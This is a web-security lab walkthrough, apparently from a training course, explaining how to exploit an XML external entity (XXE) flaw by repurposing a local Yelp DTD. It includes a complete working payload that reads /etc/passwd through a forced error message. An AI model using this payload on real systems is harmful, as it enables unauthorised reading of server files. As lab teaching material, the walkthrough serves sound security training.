- Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
-
Insert the following parameter entity definition in between the XML declaration and the
stockCheck
element:<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>
This will import the Yelp DTD, then redefine theISOamso
entity, triggering an error message containing the contents of the/etc/passwd
file.
Lab: Exploiting XXE to retrieve data by repurposing a local DTD
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, trigger an error message containing the contents of the /etc/passwd
file.
You'll need to reference an existing DTD file on the server and redefine an entity from it.
Hint
Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd
containing an entity called ISOamso.